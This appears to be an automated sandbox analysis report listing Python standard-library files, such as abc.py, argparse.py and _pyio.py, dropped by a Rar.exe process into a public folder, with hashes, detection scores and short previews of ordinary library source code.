SHA-512:	295601F6A33DD0E9C38B5756BFA77C79402E493362FB7F167B98A12208BAC765101E91A66398D658E1673B7624C8D1A27F6E12EC32FEF22DF650B64E7728CA8D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	# Copyright 2007 Google, Inc. All Rights Reserved...# Licensed to PSF under a Contributor Agreement....."""Abstract Base Classes (ABCs) for collections, according to PEP 3119.....Unit tests are in test_collections..."""....from abc import ABCMeta, abstractmethod..import sys....GenericAlias = type(list[int])..EllipsisType = type(...)..def _f(): pass..FunctionType = type(_f)..del _f....__all__ = ["Awaitable", "Coroutine",.. "AsyncIterable", "AsyncIterator", "AsyncGenerator",.. "Hashable", "Iterable", "Iterator", "Generator", "Reversible",.. "Sized", "Container", "Callable", "Collection",.. "Set", "MutableSet",.. "Mapping", "MutableMapping",.. "MappingView", "KeysView", "ItemsView", "ValuesView",.. "Sequence", "MutableSequence",.. "ByteString",.. ]....# This module has been renamed from collections.abc to _collections_abc to..# speed up interpreter startup. Some of the types such as MutableMapping ar

C:\Users\Public\QExvbmVOb25l\Lib\_compat_pickle.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	9000
Entropy (8bit):	5.07161975591546
Encrypted:	false
SSDEEP:	192:jX+gYVVcndom2qXur3co6d/f1OlQcrG5EbhqRbRB:T+gYVVcnrkco6d/f1OlQcC5ES1B
MD5:	39786C0D6501D2955C13CFD37EA658CA
SHA1:	D099113552AA952CBA09ED87CE277EE15D297749
SHA-256:	722B53F3D1843ED446B55B92D039A58B139503192B4D818B2D8B8231EB32E7AB
SHA-512:	D5D94D9D889D6E8652C111625E148BAEF924AFBA08CBEDD450787743435AB121E56DFC18206C29082ED1D96FCE3AC222FA5822C99A0A992971C37A6450823296
Malicious:	false
Reputation:	low
Preview:	# This module is used to map the old Python 2 names to the new names used in..# Python 3 for the pickle module. This needed to make pickle streams..# generated with Python 2 loadable by Python 3.....# This is a copy of lib2to3.fixes.fix_imports.MAPPING. We cannot import..# lib2to3 and use the mapping defined there, because lib2to3 uses pickle...# Thus, this could cause the module to be imported recursively...IMPORT_MAPPING = {.. '__builtin__' : 'builtins',.. 'copy_reg': 'copyreg',.. 'Queue': 'queue',.. 'SocketServer': 'socketserver',.. 'ConfigParser': 'configparser',.. 'repr': 'reprlib',.. 'tkFileDialog': 'tkinter.filedialog',.. 'tkSimpleDialog': 'tkinter.simpledialog',.. 'tkColorChooser': 'tkinter.colorchooser',.. 'tkCommonDialog': 'tkinter.commondialog',.. 'Dialog': 'tkinter.dialog',.. 'Tkdnd': 'tkinter.dnd',.. 'tkFont': 'tkinter.font',.. 'tkMessageBox': 'tkinter.messagebox',.. 'ScrolledText': 'tkinter.scrolledtext',.. 'Tkconstants':

C:\Users\Public\QExvbmVOb25l\Lib\_compression.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	5843
Entropy (8bit):	4.312570122004757
Encrypted:	false
SSDEEP:	96:ArOasdGagyvLQOAj+pPbO6bf/Zvlf0rwazuza6:eOasdbtlb/fcrwazuza6
MD5:	F75E9299E14E9B11FD7DAE94D061253E
SHA1:	6025D13A35D283496DC83444366FE93E22B03B61
SHA-256:	A10CF1A317374641BCDB8252499E9CB9D4D6E774AC724EDFDDDD0433EAD771D9
SHA-512:	BEE88E9C44A2477E7679F47F414FF8327AD06EF4E81D65405A1D55E9684040838C9F30F3F0A35FF0C5A7E850B858FE83E48734BE7EA171A1F5DBB75FB45A2FB7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	"""Internal classes used by the gzip, lzma and bz2 modules"""....import io..import sys....BUFFER_SIZE = io.DEFAULT_BUFFER_SIZE # Compressed data read chunk size......class BaseStream(io.BufferedIOBase):.. """Mode-checking helper functions.""".... def _check_not_closed(self):.. if self.closed:.. raise ValueError("I/O operation on closed file").... def _check_can_read(self):.. if not self.readable():.. raise io.UnsupportedOperation("File not open for reading").... def _check_can_write(self):.. if not self.writable():.. raise io.UnsupportedOperation("File not open for writing").... def _check_can_seek(self):.. if not self.readable():.. raise io.UnsupportedOperation("Seeking is only supported ".. "on files open for reading").. if not self.seekable():.. raise io.UnsupportedOperation("The underlying file object "..

C:\Users\Public\QExvbmVOb25l\Lib\_markupbase.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	15049
Entropy (8bit):	4.144690404366886
Encrypted:	false
SSDEEP:	384:hJdW3aalUU2IJWEY4tokA+jFW/tFoak6iExy/LemE/9ueOU:hJRalUU2IJWIo+jEFGaw1iN
MD5:	2DFE8125174DDC3D0694E41EB8489C58
SHA1:	EF097AC9988D1E06BE47D771008B53797682156D
SHA-256:	914361CF055D5D2E1B69A2603A5C94B22DEDB987D72CE9F791AFEC0524718F28
SHA-512:	E5657D6619EA50AEE6051808F5C153B75438C97231010F898D9884937C7370241C4C41FA695B002D1AEA0489994F4FD96D3ADE037ECF30D761A99019F9E1E043
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	"""Shared support for scanning document type declarations in HTML and XHTML.....This module is used as a foundation for the html.parser module. It has no..documented public API and should not be used directly....."""....import re...._declname_match = re.compile(r'[a-zA-Z][-_.a-zA-Z0-9]\s').match.._declstringlit_match = re.compile(r'(\'[^\']\'\|"[^"]")\s').match.._commentclose = re.compile(r'--\s>').._markedsectionclose = re.compile(r']\s]\s>')....# An analysis of the MS-Word extensions is available at..# http://www.planetpublish.com/xmlarena/xap/Thursday/WordtoXML.pdf...._msmarkedsectionclose = re.compile(r']\s*>')....del re......class ParserBase:.. """Parser base class which provides some common support methods used.. by the SGML/HTML and XHTML parsers.""".... def __init__(self):.. if self.__class__ is ParserBase:.. raise RuntimeError(.. "_markupbase.ParserBase must be subclassed").... def reset(self):.. self.lineno = 1..

C:\Users\Public\QExvbmVOb25l\Lib\_osx_support.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	22361
Entropy (8bit):	4.723787766897489
Encrypted:	false
SSDEEP:	384:KEQb8Fu0jFaUTj065gw4DehE58J+pPSUbjaMVqnV6sxlVItVnCfvQY+yLq6NT:KB8Fu0jFaYj0sgve81pP3SAYy2
MD5:	FC4CA3F0DD53369CBDE78E6F34D6D1E0
SHA1:	EF1914BA73779F330B6EBB6F68752E5302F4C5E4
SHA-256:	66881ABF03400804BC29B465BE8A6560A78EFED1F7CED3FAF9FECAA586157B00
SHA-512:	6E6D3F2D62200478381E337872F27F65C86650D88F6E69ADBFB25FD90B9F2A94466253D6670727863DD33A9318F11D800E754E2969BE183DF5B2C1E18FBC0834
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	"""Shared OS X support functions."""....import os..import re..import sys....__all__ = [.. 'compiler_fixup',.. 'customize_config_vars',.. 'customize_compiler',.. 'get_platform_osx',..]....# configuration variables that may contain universal build flags,..# like "-arch" or "-isdkroot", that may need customization for..# the user environment.._UNIVERSAL_CONFIG_VARS = ('CFLAGS', 'LDFLAGS', 'CPPFLAGS', 'BASECFLAGS',.. 'BLDSHARED', 'LDSHARED', 'CC', 'CXX',.. 'PY_CFLAGS', 'PY_LDFLAGS', 'PY_CPPFLAGS',.. 'PY_CORE_CFLAGS', 'PY_CORE_LDFLAGS')....# configuration variables that may contain compiler calls.._COMPILER_CONFIG_VARS = ('BLDSHARED', 'LDSHARED', 'CC', 'CXX')....# prefix added to original configuration variable names.._INITPRE = '_OSX_SUPPORT_INITIAL_'......def _find_executable(executable, path=None):.. """Tries to find 'executable' in the directories listed in 'path'..... A string listing dir

C:\Users\Public\QExvbmVOb25l\Lib\_py_abc.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	6336
Entropy (8bit):	4.398612520141537
Encrypted:	false
SSDEEP:	192:tChBz2a5ZMoU3JhZqwCtb4kmAp0PT5L7AH4/kt/E/StLp/kL/5:tChtjgJhZZKb4qH/7O
MD5:	E9F2D6D09F06D7E0772B74B32759881C
SHA1:	6E4A2145565B7B9436CB7DB5CF18FA97E9B3BEE0
SHA-256:	8F790C97331A66EA442964314843F7CC8863FB3D9B899183F6D02598D4361A5C
SHA-512:	D3D22D17387A04B79AB54C7F71E994A075AB309057A8F98A3972E0F17535C4D905342D282ECF3D1A8A99351BBC8AEC207E7E277B0377255572153A80EFBB07A6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	from _weakrefset import WeakSet......def get_cache_token():.. """Returns the current ABC cache token..... The token is an opaque object (supporting equality testing) identifying the.. current version of the ABC cache for virtual subclasses. The token changes.. with every call to ``register()`` on any ABC... """.. return ABCMeta._abc_invalidation_counter......class ABCMeta(type):.. """Metaclass for defining Abstract Base Classes (ABCs)..... Use this metaclass to create an ABC. An ABC can be subclassed.. directly, and then acts as a mix-in class. You can also register.. unrelated concrete classes (even built-in classes) and unrelated.. ABCs as 'virtual subclasses' -- these and their descendants will.. be considered subclasses of the registering ABC by the built-in.. issubclass() function, but the registering ABC won't show up in.. their MRO (Method Resolution Order) nor will method.. implementations defined by the registering ABC be callable

C:\Users\Public\QExvbmVOb25l\Lib\_pydecimal.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	235086
Entropy (8bit):	4.562739393111887
Encrypted:	false
SSDEEP:	6144:PPcxAkfLyemfbPcKpNLuUxOapxHPfm+LymnJvD:3BxP9
MD5:	21CC2DE5228D758FC246AE2FBDEAC4FD
SHA1:	AFCB2A98A4E45128694B949931E9C759124A9CEC
SHA-256:	690E82A528EFB2E9C6C4B624BF28D9F7DF9B8007C3E26FC606ABE8E4C670734A
SHA-512:	C72CE199737C56D2A2214CF9B3C047713C5115A110E3D7F6E35F03CE4ECAB84B76D1E144B04659BE66C30C280747A3167518FB2A9A947F0E08065587B714613D
Malicious:	false
Reputation:	low
Preview:	# Copyright (c) 2004 Python Software Foundation...# All rights reserved.....# Written by Eric Price <eprice at tjhsst.edu>..# and Facundo Batista <facundo at taniquetil.com.ar>..# and Raymond Hettinger <python at rcn.com>..# and Aahz <aahz at pobox.com>..# and Tim Peters....# This module should be kept in sync with the latest updates of the..# IBM specification as it evolves. Those updates will be treated..# as bug fixes (deviation from the spec is a compatibility, usability..# bug) and will be backported. At this point the spec is stabilizing..# and the updates are becoming fewer, smaller, and less significant....."""..This is an implementation of decimal floating point arithmetic based on..the General Decimal Arithmetic Specification:.... http://speleotrove.com/decimal/decarith.html....and IEEE standard 854-1987:.... http://en.wikipedia.org/wiki/IEEE_854-1987....Decimal floating point has finite precision with arbitrarily large bounds.....The purpose of this modul

C:\Users\Public\QExvbmVOb25l\Lib\_pyio.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	97185
Entropy (8bit):	4.3648688617698745
Encrypted:	false
SSDEEP:	1536:vi9tkVWSOWuoT4fWEai+6zQWB/5bjhpYgmRA+d:vi9tkU7kuWEai+6cWp5bj3TmRT
MD5:	0D371E43F9E94B567CF4701233E240CB
SHA1:	516298CDB14B87A60CCD14FC1742BF8F1EE26197
SHA-256:	8F2DC04AC4E7281967EC2F124C7CE64CAFF24018A88540AFDE3407A26873589E
SHA-512:	B6E175F27F17F9B90857DBABE64601A5674FDBA0A8E8494649A5890024E7C83092D92C2E892573572F5E8CEF854F0021E0F877C90C38179305A3B1589C899E16
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	"""..Python implementation of the io module..."""....import os..import abc..import codecs..import errno..import stat..import sys..# Import _thread instead of threading to reduce startup cost..from _thread import allocate_lock as Lock..if sys.platform in {'win32', 'cygwin'}:.. from msvcrt import setmode as _setmode..else:.. _setmode = None....import io..from io import (__all__, SEEK_SET, SEEK_CUR, SEEK_END)....valid_seek_flags = {0, 1, 2} # Hardwired values..if hasattr(os, 'SEEK_HOLE') :.. valid_seek_flags.add(os.SEEK_HOLE).. valid_seek_flags.add(os.SEEK_DATA)....# open() uses st_blksize whenever we can..DEFAULT_BUFFER_SIZE = 8 * 1024 # bytes....# NOTE: Base classes defined here are registered with the "official" ABCs..# defined in io.py. We don't use real inheritance though, because we don't want..# to inherit the C implementations.....# Rebind for compatibility..BlockingIOError = BlockingIOError....# Does io.IOBase finalizer log the exception if the close() method fails?

C:\Users\Public\QExvbmVOb25l\Lib\_sitebuiltins.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	3231
Entropy (8bit):	4.290837712719538
Encrypted:	false
SSDEEP:	48:LCIcLnTrq7B8nUOOU3ciXy0JFBOjpQ8sHLf1vHKGysSO4:LmnTWjOOU3cc0+rxHKGB94
MD5:	2E95AAF9BD176B03867862B6DC08626A
SHA1:	3AFA2761119AF29519DC3DAD3D6C1A5ABCA67108
SHA-256:	924F95FD516ECAEA9C9AF540DC0796FB15EC17D8C42B59B90CF57CFE15962E2E
SHA-512:	080495FB15E7C658094CFE262A8BD884C30580FD6E80839D15873F27BE675247E2E8AEC603D39B614591A01ED49F5A07DD2ACE46181F14B650C5E9EC9BB5C292
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	"""..The objects used by the site module to add custom builtins..."""....# Those objects are almost immortal and they keep a reference to their module..# globals. Defining them in the site module would keep too many references..# alive...# Note this means this module should also avoid keep things alive in its..# globals.....import sys....class Quitter(object):.. def __init__(self, name, eof):.. self.name = name.. self.eof = eof.. def __repr__(self):.. return 'Use %s() or %s to exit' % (self.name, self.eof).. def __call__(self, code=None):.. # Shells like IDLE catch the SystemExit, but listen when their.. # stdin wrapper is closed... try:.. sys.stdin.close().. except:.. pass.. raise SystemExit(code)......class _Printer(object):.. """interactive prompt objects for printing the license text, a list of.. contributors and the copyright notice.""".... MAXLINES = 23.... def __init__(self, name,

C:\Users\Public\QExvbmVOb25l\Lib\_strptime.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	25856
Entropy (8bit):	4.576262974956046
Encrypted:	false
SSDEEP:	192:C1pVFxVyOs4/p6WSDmyeMjjiIltKcKdrxrTZprdw2W6dNtxz/kNVGC/JrbruMREb:C1FxIO7/p6Woph/5uZTvVrz/g3HuMQCi
MD5:	B4CB6BF5E35DC2F8A8D10014F66A72C0
SHA1:	8461CA8CFE93FBC0FC385A03428E9B248BE750C7
SHA-256:	770CD20E1D9381A3850401868BF1CA375C6BF5AEC7F8E031B6210DF98D789E3F
SHA-512:	775762E38D0CA8B954D37DF4BD8CAF76ACD97C3399C0774592D01494A2F2141C2C2EBB4DC29E2A40ACE01A81C46E5EC76FAB9744ABCFDFEC826BDDF83E61B5D2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	"""Strptime-related classes and functions.....CLASSES:.. LocaleTime -- Discovers and stores locale-specific time information.. TimeRE -- Creates regexes for pattern matching a string of text containing.. time information....FUNCTIONS:.. _getlang -- Figure out what language is being used for the locale.. strptime -- Calculates the time struct represented by the passed-in string...."""..import time..import locale..import calendar..from re import compile as re_compile..from re import IGNORECASE..from re import escape as re_escape..from datetime import (date as datetime_date,.. timedelta as datetime_timedelta,.. timezone as datetime_timezone)..from _thread import allocate_lock as _thread_allocate_lock....__all__ = []....def _getlang():.. # Figure out what the current language is set to... return locale.getlocale(locale.LC_TIME)....class LocaleTime(object):.. """Stores and handles locale-specific information relat

C:\Users\Public\QExvbmVOb25l\Lib\_threading_local.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	7462
Entropy (8bit):	4.6221334949688195
Encrypted:	false
SSDEEP:	96:/RCb6QO/SjgBOiCX1BfaOajqBG2DI0WFwoV4KLgKxDl0D3YzgDPYhFSnRKipzXhH:DQO6kBOiCXSO5BZIr4aCYUsho9R
MD5:	2ACCB96019A97C9B237FA45AB4E67BBF
SHA1:	E1C573319C6E01E1222EAD90E5C34C58D22021EF
SHA-256:	27BB2BD201E6157EFDD807EC5E3F3C5A8E0EA2EA2E86ED475A59DE8C6442A0EB
SHA-512:	26F75E0A32F02E85C3258F7B37440FC83C775AB64B31497217A2090228CAE2EF732166B5E07865DDCC0D82FD69CF80EA2F3DA020C7FCA8F09E39390EB768F04D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	"""Thread-local objects.....(Note that this module provides a Python version of the threading.local.. class. Depending on the version of Python you're using, there may be a.. faster one available. You should always import the `local` class from.. `threading`.)....Thread-local objects support the management of thread-local data...If you have data that you want to be local to a thread, simply create..a thread-local object and use its attributes:.... >>> mydata = local().. >>> mydata.number = 42.. >>> mydata.number.. 42....You can also access the local-object's dictionary:.... >>> mydata.__dict__.. {'number': 42}.. >>> mydata.__dict__.setdefault('widgets', []).. [].. >>> mydata.widgets.. []....What's important about thread-local objects is that their data are..local to a thread. If we access the data in a different thread:.... >>> log = [].. >>> def f():.. ... items = sorted(mydata.__dict__.items()).. ... log.append(items).. ... mydata.number = 11.. ... l

C:\Users\Public\QExvbmVOb25l\Lib\_weakrefset.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	6129
Entropy (8bit):	4.19143974100249
Encrypted:	false
SSDEEP:	96:EBC2FPYi/mDV2/2vGd24QB2oa+qBdXsSP4m4FE8445m4IinbyQqVRA6U4e4nC8C7:ELj/7euM4QgoofXsm4m4FH4484I+byFW
MD5:	B63A969483B85C6E81E57B8FABE80F2F
SHA1:	8945995094A976581C83455D9ED14F2B81CB7212
SHA-256:	5B03D51D4CB46AA7EFFAD1B1ACE0847808E5A43F1EAE7CC9682284A8D0701A76
SHA-512:	C4352A0E90FBA11873D4CD61C9E9D978682DB1BBDAB0CFA668F1913DDFD4132791738AFC08EEC931CCC296DAD1B13DB24DBAC8339D235704A7A049AF30683C56
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	# Access WeakSet through the weakref module...# This code is separated-out because it is needed..# by abc.py to load everything else at startup.....from _weakref import ref..from types import GenericAlias....__all__ = ['WeakSet']......class _IterationGuard:.. # This context manager registers itself in the current iterators of the.. # weak container, such as to delay all removals until the context manager.. # exits... # This technique should be relatively thread-safe (since sets are)..... def __init__(self, weakcontainer):.. # Don't create cycles.. self.weakcontainer = ref(weakcontainer).... def __enter__(self):.. w = self.weakcontainer().. if w is not None:.. w._iterating.add(self).. return self.... def __exit__(self, e, t, b):.. w = self.weakcontainer().. if w is not None:.. s = w._iterating.. s.remove(self).. if not s:.. w._commit_removals()......class Weak

C:\Users\Public\QExvbmVOb25l\Lib\abc.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	6710
Entropy (8bit):	4.481959964393442
Encrypted:	false
SSDEEP:	192:gPAaxlPl/yqe//e/2Dkpps4BWt3O0Tml91BbnTLikZOz9Cj9bObNbYGO7U:gPAaxlP1u9kU+0TmnTLikZW9CxbOJbYQ
MD5:	3A8E484DC1F9324075F1E574D7600334
SHA1:	D70E189BA3A4CF9BEA21A1BBC844479088BBD3A0
SHA-256:	A63DE23D93B7CC096AE5DF79032DC2E12778B134BB14F7F40AC9A1F77F102577
SHA-512:	2C238B25DD1111EE37A3D7BF71022FE8E6C1D7ECE86B6BBDFA33EE0A3F2A730590FE4BA86CC88F4194D60F419F0FEF09776E5ECA1C473D3F6727249876F00441
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	# Copyright 2007 Google, Inc. All Rights Reserved...# Licensed to PSF under a Contributor Agreement....."""Abstract Base Classes (ABCs) according to PEP 3119."""......def abstractmethod(funcobj):.. """A decorator indicating abstract methods..... Requires that the metaclass is ABCMeta or derived from it. A.. class that has a metaclass derived from ABCMeta cannot be.. instantiated unless all of its abstract methods are overridden... The abstract methods can be called using any of the normal.. 'super' call mechanisms. abstractmethod() may be used to declare.. abstract methods for properties and descriptors..... Usage:.... class C(metaclass=ABCMeta):.. @abstractmethod.. def my_abstract_method(self, ...):.. ..... """.. funcobj.__isabstractmethod__ = True.. return funcobj......class abstractclassmethod(classmethod):.. """A decorator indicating abstract classmethods..... Deprecated, use 'classmethod' with 'ab

C:\Users\Public\QExvbmVOb25l\Lib\aifc.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	33552
Entropy (8bit):	4.4638619417349945
Encrypted:	false
SSDEEP:	384:Ob3TMIq3JHejezqFTYQjJFUT2uXUmwlKje3W73igkZIS3WXpRY:4MHpejezqF0gAT2u/NK3W7Dk9cY
MD5:	BF5911BEAF58D01F1317D4416B929EED
SHA1:	4D6191C34468BCDEDBDFF0CFE1EB7F44A83BAB27
SHA-256:	2EFBA033EF47B3E19DBCDCB6762B9B49AB1982EAE3B9D649548D15AFADC78DAF
SHA-512:	B88E727115CEFDFD31498370DACD7FF3ADBF3BD511B06367CB6A9513B5419A6B1A2A83822561E11BF6B41BC6A7AFED4ACBFC542F18CAFE18E741E576380E234D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	"""Stuff to parse AIFF-C and AIFF files.....Unless explicitly stated otherwise, the description below is true..both for AIFF-C files and AIFF files.....An AIFF-C file has the following structure..... +-----------------+.. \| FORM \|.. +-----------------+.. \| <size> \|.. +----+------------+.. \| \| AIFC \|.. \| +------------+.. \| \| <chunks> \|.. \| \| . \|.. \| \| . \|.. \| \| . \|.. +----+------------+....An AIFF file has the string "AIFF" instead of "AIFC".....A chunk consists of an identifier (4 bytes) followed by a size (4 bytes,..big endian order), followed by the data. The size field does not include..the size of the 8 byte header.....The following chunk types are recognized..... FVER.. <version number of AIFF-C defining document> (AIFF-C only)... MARK.. <# of markers> (2 bytes).. list of markers:.. <marker ID> (2 bytes, must be > 0).. <position> (4 bytes).. <marker nam

C:\Users\Public\QExvbmVOb25l\Lib\antigravity.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	517
Entropy (8bit):	5.2580863991460935
Encrypted:	false
SSDEEP:	12:HHoBI/BiIkjuVyGkjvluzAbx1uVEiE9rBX2y:HzJiOVyGkRuYSkVX2y
MD5:	3ED5C3D928783BE91A9C8FCA6BCB846E
SHA1:	2104F146AA389C6FC4BF172A082A711F9515A1EE
SHA-256:	2C4879A527D2F5D0E0F0D81837EEB8510E2F77FDF2BBB2688835732E699CCD6A
SHA-512:	2BC5200EF030A876C374AD3A31D189777C3C57759C6DB0BAB3C33265BB74ADD2FDDAAE20EDC646A7722386934D093C47C42CFC8AF24A5340C7D8D926A9D3505F
Malicious:	false
Reputation:	low
Preview:	..import webbrowser..import hashlib....webbrowser.open("https://xkcd.com/353/")....def geohash(latitude, longitude, datedow):.. '''Compute geohash() using the Munroe algorithm..... >>> geohash(37.421542, -122.085589, b'2005-05-26-10458.68').. 37.857713 -122.544543.... '''.. # https://xkcd.com/426/.. h = hashlib.md5(datedow, usedforsecurity=False).hexdigest().. p, q = [('%f' % float.fromhex('0.' + x)) for x in (h[:16], h[16:32])].. print('%d%s %d%s' % (latitude, p[1:], longitude, q[1:]))..

C:\Users\Public\QExvbmVOb25l\Lib\argparse.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	101137
Entropy (8bit):	4.306533315342896
Encrypted:	false
SSDEEP:	1536:g3gKb2hiBVRLsxQ4vu6ilEy14udYC91vhjJFGD8:gQKb2hiBVabu6ilEy14udx1vJJFGA
MD5:	5CDD2DD02315B6DD0F093C4D785E3D96
SHA1:	06057E30C7F3E7804070A90739C3577FFB9B5AD6
SHA-256:	D30F7E5CA4A44F7BA9F1626E984B7099B42FEB603B9BA8E31635D9C889793EC1
SHA-512:	10D6E90BC739158597CF8AEA1616D8B02C2B72AD8EFADE9B3668A952179CC2A9AB5B92EDECB174821556F52EA0A9081575C90D2016DBFF6175D1F3E0A0F2284D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	# Author: Steven J. Bethard <steven.bethard@gmail.com>...# New maintainer as of 29 August 2019: Raymond Hettinger <raymond.hettinger@gmail.com>...."""Command-line parsing library....This module is an optparse-inspired command-line parsing library that:.... - handles both optional and positional arguments.. - produces highly informative usage messages.. - supports parsers that dispatch to sub-parsers....The following is a simple usage example that sums integers from the..command-line and writes the result to a file::.... parser = argparse.ArgumentParser(.. description='sum the integers at the command line').. parser.add_argument(.. 'integers', metavar='int', nargs='+', type=int,.. help='an integer to be summed').. parser.add_argument(.. '--log', default=sys.stdout, type=argparse.FileType('w'),.. help='the file where the sum should be written').. args = parser.parse_args().. args.log.write('%s' % sum(args.integers)).. args.lo

C:\Users\Public\QExvbmVOb25l\Lib\ast.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	61609
Entropy (8bit):	4.417126699054812
Encrypted:	false
SSDEEP:	1536:pZuW0/yNX9e8T1Y+XqfdAyr8+gliw1RaDh1:pZnMyNX9/qeyI+glN1s1
MD5:	38ECD2B58AF252AC5A2D14A5AC17333B
SHA1:	F5EC2EE9D098AF6432017029E2B14B0230581ADF
SHA-256:	A1D8E96B987376D7E0CE57587830EBAA7E06509EA528D666B409D5604D1EAA8D
SHA-512:	BACE88F6DA88662BBC5A49E6617478553C2FE287CE1D46CCA77483F63FBE82849EBA45824CEE7AA57FF4F820F1024E331AF51FE46E353535D9D68160DA424848
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	""".. ast.. ~~~.... The `ast` module helps Python applications to process trees of the Python.. abstract syntax grammar. The abstract syntax itself might change with.. each Python release; this module helps to find out programmatically what.. the current grammar looks like and allows modifications of it..... An abstract syntax tree can be generated by passing `ast.PyCF_ONLY_AST` as.. a flag to the `compile()` builtin function or by using the `parse()`.. function from this module. The result will be a tree of objects whose.. classes all inherit from `ast.AST`..... A modified abstract syntax tree can be compiled into a Python code object.. using the built-in `compile()` function..... Additionally various helper functions are provided that make working with.. the trees simpler. The main intention of the helper functions and this.. module in general is to provide an easy to use interface for libraries.. that work tightly with the python sy

C:\Users\Public\QExvbmVOb25l\Lib\asynchat.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	11835
Entropy (8bit):	4.533400669114703
Encrypted:	false
SSDEEP:	192:jrq3jJ1vi4b1/AwyG5XcoIhlJCmO7IDzAEyeWdm2aIb:fq3jJRthARG9comK7KzAEyeWdm4
MD5:	A089EF65FD800EEB88D57F8752C14409
SHA1:	31ADE2E4DEDE4D6B60CCA9A484858A5552A0E533
SHA-256:	8F64AACF08D17F0D9EE51BBB540A5D2662ACB0F7C68009E895AC39D8973039A4
SHA-512:	8D3DC6975E0DA00046C867E77D5C33D3197A7D4A5E5CECD43DC31B35C4D32B300BB3201A82AF4919A6A084A3540AD61DEC521DE7F405742BF6C323AA5047F6B9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	# -- Mode: Python; tab-width: 4 --..# Id: asynchat.py,v 2.26 2000/09/07 22:29:26 rushing Exp..# Author: Sam Rushing <rushing@nightmare.com>....# ======================================================================..# Copyright 1996 by Sam Rushing..#..# All Rights Reserved..#..# Permission to use, copy, modify, and distribute this software and..# its documentation for any purpose and without fee is hereby..# granted, provided that the above copyright notice appear in all..# copies and that both that copyright notice and this permission..# notice appear in supporting documentation, and that the name of Sam..# Rushing not be used in advertising or publicity pertaining to..# distribution of the software without specific, written prior..# permission...#..# SAM RUSHING DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE,..# INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN..# NO EVENT SHALL SAM RUSHING BE LIABLE FOR ANY SPECIAL, IND

C:\Users\Public\QExvbmVOb25l\Lib\asyncore.py

Download File

